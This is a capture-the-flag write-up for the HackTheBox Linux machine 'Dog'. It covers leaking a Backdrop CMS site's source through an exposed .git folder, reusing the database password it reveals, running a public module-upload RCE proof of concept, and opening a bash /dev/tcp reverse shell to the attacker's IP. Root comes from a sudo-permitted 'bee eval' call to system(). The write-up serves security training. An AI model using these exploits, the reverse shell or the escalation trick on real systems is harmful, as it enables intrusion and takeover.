HackTheBox - Dog [Linux]

This machine is a Linux-based challenge that tests a player’s ability to exploit exposed development artifacts and misconfigurations in a CMS. The initial foothold involves discovering an exposed .git directory, reconstructing the Git repository, and identifying the use of a vulnerable version of Backdrop CMS. Exploiting this vulnerability enables authenticated remote code execution, leading to a low-privileged shell. Privilege escalation is achieved by abusing a cron-executed script or insecure module running as root, typically by injecting malicious code into a file or module that the system executes with elevated privileges. The box emphasizes skills in source code leakage, CMS exploitation, and basic privilege escalation via cron.

Challenge Overview #

CTF Name:                 Dog
Category:                 Machines - Linux
Active/Retired (at pwn):  Active
Difficulty (subjective):  [4] Not too Easy
Author:                   FisMatHack
Date Released:            08 Mar 2025
Date Completed:           11 Jun 2025
CTF Link:                 https://app.hackthebox.com/machines/Dog

Tasks #

Submit User Flag Submit Root Flag


Own #

Nmap #

nmap -sC -sV 10.10.11.58

Scanning revealed a git repository at /.git endpoint. It can be cloned with:

wget --mirror -I .git http://10.10.11.58/.git/

Analyze Folders #

There are a lot of objects and (probably) irrelevant files (458 directories, 2867 files). For now I will only inspect the first few layers of the repo and see where it is worth digging further.

The restored tree structure of the repo (3 layers deep, only directories):

tree -d -L 3

.  
├── core  
│   ├── includes  
│   │   ├── database  
│   │   ├── filetransfer  
│   │   └── transliteration  
│   ├── layouts  
│   │   ├── boxton  
│   │   ├── geary  
│   │   ├── harris  
│   │   ├── legacy  
│   │   ├── moscone  
│   │   ├── moscone_flipped  
│   │   ├── rolph  
│   │   ├── simmons  
│   │   ├── sutro  
│   │   ├── taylor  
│   │   └── taylor_flipped  
│   ├── misc  
│   │   ├── ckeditor  
│   │   ├── farbtastic  
│   │   ├── opensans  
│   │   ├── smartmenus  
│   │   └── ui  
│   ├── modules  
│   │   ├── admin_bar  
│   │   ├── block  
│   │   ├── book  
│   │   ├── ckeditor  
│   │   ├── ckeditor5  
│   │   ├── color  
│   │   ├── comment  
│   │   ├── config  
│   │   ├── contact  
│   │   ├── contextual  
│   │   ├── dashboard  
│   │   ├── date  
│   │   ├── dblog  
│   │   ├── email  
│   │   ├── entity  
│   │   ├── entityreference  
│   │   ├── field  
│   │   ├── field_ui  
│   │   ├── file  
│   │   ├── filter  
│   │   ├── image  
│   │   ├── installer  
│   │   ├── language  
│   │   ├── layout  
│   │   ├── link  
│   │   ├── locale  
│   │   ├── menu  
│   │   ├── node  
│   │   ├── path  
│   │   ├── redirect  
│   │   ├── search  
│   │   ├── simpletest  
│   │   ├── syslog  
│   │   ├── system  
│   │   ├── taxonomy  
│   │   ├── telemetry  
│   │   ├── translation  
│   │   ├── update  
│   │   ├── user  
│   │   ├── views  
│   │   └── views_ui  
│   ├── profiles  
│   │   ├── minimal  
│   │   ├── standard  
│   │   └── testing  
│   ├── scripts  
│   └── themes  
│       ├── bartik  
│       ├── basis  
│       ├── engines  
│       ├── seven  
│       └── stark  
├── files  
│   ├── config_83dddd18e1ec67fd8ff5bba2453c7fb3  
│   │   ├── active  
│   │   └── staging  
│   ├── css  
│   ├── field  
│   │   └── image  
│   ├── js  
│   └── styles  
│       ├── large  
│       ├── medium  
│       └── thumbnail  
├── layouts  
├── sites  
└── themes  
  
92 directories

There appears an unusual config_83dddd18e1ec67fd8ff5bba2453c7fb3 directory reference in the codebase. To locate all occurrences:

./ $ grep -r config_83dddd18e1ec67fd8ff5bba2453c7fb3
settings.php:$config_directories['active'] = './files/config_83...b3/active';  
settings.php:$config_directories['staging'] = './files/config_83...b3/staging';

Note: Long strings like the config folder have been and will be shortened by me to better fit in the document as the name doesn’t contain much relevant information.

A potentially useful file settings.php was discovered. But firstly, analyze the config_83...b3 folder:

ls -a
.  ..  active  staging

The full tree structure:

.  
├── active  
│   ├── admin_bar.settings.json  
│   ├── dashboard.settings.json  
│   ├── date_views.settings.json  
│   ├── entity.view_modes.json  
│   ├── field.field.body.json  
│   ├── field.field.comment_body.json  
│   ├── field.field.field_image.json  
│   ├── field.field.field_tags.json  
│   ├── field.instance.comment.comment_node_card.comment_body.json  
│   ├── field.instance.comment.comment_node_page.comment_body.json  
│   ├── field.instance.comment.comment_node_post.comment_body.json  
│   ├── field.instance.node.card.body.json  
│   ├── field.instance.node.card.field_image.json  
│   ├── field.instance.node.page.body.json  
│   ├── field.instance.node.post.body.json  
│   ├── field.instance.node.post.field_image.json  
│   ├── field.instance.node.post.field_tags.json  
│   ├── file_display.audio.json  
│   ├── file_display.document.json  
│   ├── file_display.image.json  
│   ├── file_display.video.json  
│   ├── file.settings.json  
│   ├── file.type.audio.json  
│   ├── file.type.document.json  
│   ├── file.type.image.json  
│   ├── file.type.video.json  
│   ├── filter.format.filtered_html.json  
│   ├── filter.format.full_html.json  
│   ├── filter.format.plain_text.json  
│   ├── image.style.card.json  
│   ├── image.style.large.json  
│   ├── image.style.medium.json  
│   ├── image.style.thumbnail.json  
│   ├── installer.settings.json  
│   ├── layout.layout.admin_default.json  
│   ├── layout.layout.dashboard.json  
│   ├── layout.layout.default.json  
│   ├── layout.layout.home.json  
│   ├── layout.menu_item.dashboard.json  
│   ├── layout.menu_item.home.json  
│   ├── layout.settings.json  
│   ├── menu.menu.main-menu.json  
│   ├── menu.menu.management.json  
│   ├── menu.menu.user-menu.json  
│   ├── menu.settings.json  
│   ├── node.type.card.json  
│   ├── node.type.page.json  
│   ├── node.type.post.json  
│   ├── path.settings.json  
│   ├── README.md  
│   ├── redirect.settings.json  
│   ├── search.settings.json  
│   ├── system.authorize.json  
│   ├── system.core.json  
│   ├── system.date.json  
│   ├── system.mail.json  
│   ├── taxonomy.settings.json  
│   ├── taxonomy.vocabulary.tags.json  
│   ├── telemetry.settings.json  
│   ├── update.settings.json  
│   ├── user.flood.json  
│   ├── user.mail.json  
│   ├── user.role.administrator.json  
│   ├── user.role.anonymous.json  
│   ├── user.role.authenticated.json  
│   ├── user.role.editor.json  
│   ├── views.settings.json  
│   ├── views_ui.settings.json  
│   ├── views.view.comments_recent.json  
│   ├── views.view.file_admin.json  
│   ├── views.view.image_library.json  
│   ├── views.view.node_admin_content.json  
│   ├── views.view.promoted_cards.json  
│   ├── views.view.promoted.json  
│   ├── views.view.taxonomy_term.json  
│   └── views.view.user_admin.json  
└── staging  
   └── README.md  
  
3 directories, 77 files

Look for credentials #

A good start would be to search for some credentials in the json files:

./files/config_83...b3/active $ grep -Er 'pass|user|@|admin'
---snip--
active/update.settings.json:        "tiffany@dog.htb"
---snip---

User Email #

Among the 200 matches, which didn’t provide any exact information, I managed to find an email: tiffany@dog.htb. This is an exciting start.

Examine the update.settings.json file, as it may contain other useful data:

cat ./files/config_83...b3/active/update.settings.json
{  
   "_config_name": "update.settings",  
   "_config_static": true,  
   "update_cron": 1,  
   "update_disabled_extensions": 0,  
   "update_interval_days": 0,  
   "update_url": "",  
   "update_not_implemented_url": "https://github.com/backdrop-ops/backdropcms.org/issues/22",  
   "update_max_attempts": 2,  
   "update_timeout": 30,  
   "update_emails": [  
       "tiffany@dog.htb"  
   ],  
   "update_threshold": "all",  
   "update_requirement_type": 0,  
   "update_status": [],  
   "update_projects": []  
}

The update_not_implemented_url key reveals that the software relates to Backdrop CMS and references an open issue, implying incomplete update handling logic in the system using this config.


Database Credentials #

Now, to analyze settings.php:

$ cat settings.php
<?php  
/**  
* @file  
* Main Backdrop CMS configuration file.  
*/
/**  
* Database configuration:  
*  
* Most sites can configure their database by entering the connection string  
* below. If using primary/replica databases or multiple connections, see the  
* advanced database documentation at  
* https://api.backdropcms.org/database-configuration  
*/  
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';  
$database_prefix = '';
--snip

First thing that pops out is a $database variable that encodes all the parameters needed for a db connection in a single string:

<scheme>://<username>:<password>@<host>/<database>

Later in the file, the config directory:

$config_directories['active'] = './files/config_83...b3/active';  
$config_directories['staging'] = './files/config_83...b3/staging';

which we already discovered using a different approach.

There is also a hash salt, but it might not even be useful, so for now just keep it:

$settings['hash_salt'] = 'aWFvPQNGZSz1DQ701dD4lC5v1hQW34NefHvyZUzlThQ';

Attempt to login #

We accessed the dashboard. After some digging, I found a list of usernames in the user accounts tab. The tiffany account has the administrator role, just like every other account: tiffany, rosa, axel, morris, john, dogBackDropSystem, jobert, JPAdminB

Backdrop CMS 1.27.1 #

Other relevant information can be found in Reports tab:

Backdrop CMS version:        1.27.1
PHP Version:                 7.4.3-4ubuntu2.28
Web Server:                  Apache/2.4.41(Ubuntu)
Backdrop CMS update status:  Failed to get available update data.
In dashboard overview:       Updates last checked: 5 months 3 days ago

The Backdrop CMS version is relevant in vulnerability assesment.

Vulnerability Assesment &amp; Exploitation #

“Backdrop CMS version 1.27.1 suffers from a remote command execution vulnerability.” (1) Copy and the PoC into an exploit.py file and execute it:

$ python3 exploit.py http://10.10.11.58  
Backdrop CMS 1.27.1 - Remote Command Execution Exploit  
  
[+] Generating evil module...  
[+] Evil module generated: shell.zip  
  
[!] Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for manual installation.  
[!] Your shell will be accessible at: http://10.10.11.58/modules/shell/shell.php

A shell.zip was generated. After following the admin/modules/install link I attempted to install the shell.zip. However this was unsuccessful, because it required the module to be a .gz or .tar.gz file. No problem, because we can easily archive and compress the shell/ dir as we please:

$ tar -czvf shell.tar.gz shell/*

This however was still unsuccessful, because of the error:

shell.tar.gz contains a version of Unknown that is not compatible with Backdrop 1.x.

Open exploit.py and tweak the info section of the exploit. Add a new line: core = 1.x

---snip---
tags[] = Site Architecture  
version = BACKDROP_VERSION  
core = 1.x  # Added this line 
backdrop = 1.x
---snip

Rerun the file, try to upload the archive and it installed successfuly! We now have a web shell at http://10.10.11.58/modules/shell/shell.php

Reverse shell &amp;&amp; Own user flag #

The web shell stopped working after one command, so I tried to install it again to open a reverse shell to my address (10.10.16.37): bash -c 'bash -i >& /dev/tcp/10.10.16.37/1234 0>&1'

And on my attack machine listen with netcat: nc -lvnp 1234

We are logged in as www-data. By listing directories in /home we can see jobert and johncusack users. After inspecting their directories, it is clear that johncusack has a user.txt file, which is probably the user flag.

Switch users to johncusack, use the same password as tiffany:

$ su johncusack
$ cd /home/johncusack
$ cat user.txt
1c---snip--- 21

Lateral Movement #

An interesting file lateral.tar.gz appeared in the Content tab. It seems to be a module for Backdrop CMS. Other files in the content tab include: dog-obesity.jpg, dog-food.jpg, dog.jpeg, dog-animal_DOTORLBDD7.jpg, but they seem to be irrelevant for our tasks.

lateral.tar.gz downloaded as: GfC_Qm7L

$ file GfC_Qm7L
GfC_Qm7L: gzip compressed data, from Unix, original size modulo 2^32 92160

Rename it and decompress:

$ tar -xzvf lateral.tar.gz    
tinymce_emojis-1.x-1.x/  
tinymce_emojis-1.x-1.x/README.md  
tinymce_emojis-1.x-1.x/screenshots/  
tinymce_emojis-1.x-1.x/screenshots/emojis-dialog.png  
tinymce_emojis-1.x-1.x/screenshots/emoji-autocomplete.png  
tinymce_emojis-1.x-1.x/tinymce_emojis.module  
tinymce_emojis-1.x-1.x/LICENSE.txt  
tinymce_emojis-1.x-1.x/.gitattributes  
tinymce_emojis-1.x-1.x/shell.php  
tinymce_emojis-1.x-1.x/tinymce_emojis.info

shell.php? Apparently this is the shell we were supposed to use, but we already have our reverse shell in place, so it is time to explore what we can do next.

From the previous steps while still logged in as johncusack:

sudo -l -S
Matching Defaults entries for johncusack on dog:  
   env_reset, mail_badpass,  
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User johncusack may run the following commands on dog:  
   (ALL : ALL) /usr/local/bin/bee
$ file /usr/local/bin/bee
/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php

Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites, performing actions like:

  • Running cron
  • Clearing caches
  • Downloading and installing Backdrop
  • Downloading, enabling and disabling projects
  • Viewing information about a site and/or available projects (2)

Run bee:

$ sudo bee
Bee  
Usage: bee [global-options] <command> [options] [arguments]  
  
Global Options:  
--root  
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.  
  
--site  
Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.  
  
---snip---

Bee usage.md: https://github.com/backdrop-contrib/bee/blob/1.x-1.x/docs/Usage.md:

---snip---
eval:

Description: 
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

Examples:
bee eval '$node = node_load(1); print $node->title;'
---snip---

Privilege Escalation &amp; Own root flag #

Because johncusack can run this binary as root, we can try and execute a command like:

sudo bee eval "system('cat /root/root.txt');"

It works, and we found the root flag.

It works, because it basically runs:

<?php system('cat /root/root.txt'); ?>

We could even spawn a root shell with /bin/bash command using the same technique.


Lessons Learnt #

There isn’t much to do in this challenge if you don’t know what the .git folder is and what information it stores. I encountered it many times when creating repositories or cloning them, but never really paid close attention to what it actually is, because it was always created automatically and is hidden.

What is the .git folder? #

Folder .git is initialized by git init.

.git contains all information required for version control. If you want to clone your repository, copying .git is enough.

Four sub-directories:

  • hooks/ : example scripts
  • info/ : exclude file for ignored patterns
  • objects/ : all “objects”
  • refs/ : pointers to commit objects

Four files:

  • HEAD : the current branch
  • config : configuration options
  • description
  • index : staging area

Here “object” includes:

  • blobs (files)
  • trees (directories)
  • commits (reference to a tree, parent commit, etc.) (3)

.git Folder Exposure #

The presence of an exposed .git directory on a web server can lead to significant information leakage, including source code, configuration files, and sensitive data such as credentials. Always verify web servers for accidental .git exposure during assessments.

To restore a repo by using the .git folder:

git checkout -- *

The repository will be completely restored to the last committed version. (4)


Configuration Files Contain Valuable Info #

Configuration files such as settings.php and JSON config files can reveal database credentials, software versions, and user information, providing critical footholds for further exploitation.


Reverse Shell Stability #

Basic web shells may be unstable; spawning a fully interactive reverse shell via standard tools (bash, netcat) is a more reliable method for system interaction.


Useful Resources #

  1. https://packetstorm.news/files/id/178631/
  2. https://github.com/backdrop-contrib/bee
  3. https://stackoverflow.com/questions/29217859/what-is-the-git-folder
  4. https://superuser.com/questions/1485520/can-the-git-folder-be-used-for-backup-and-restoring

Get Involved #

I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.

Stay Connected   #

You can contact me at ion.miron@tutanota.com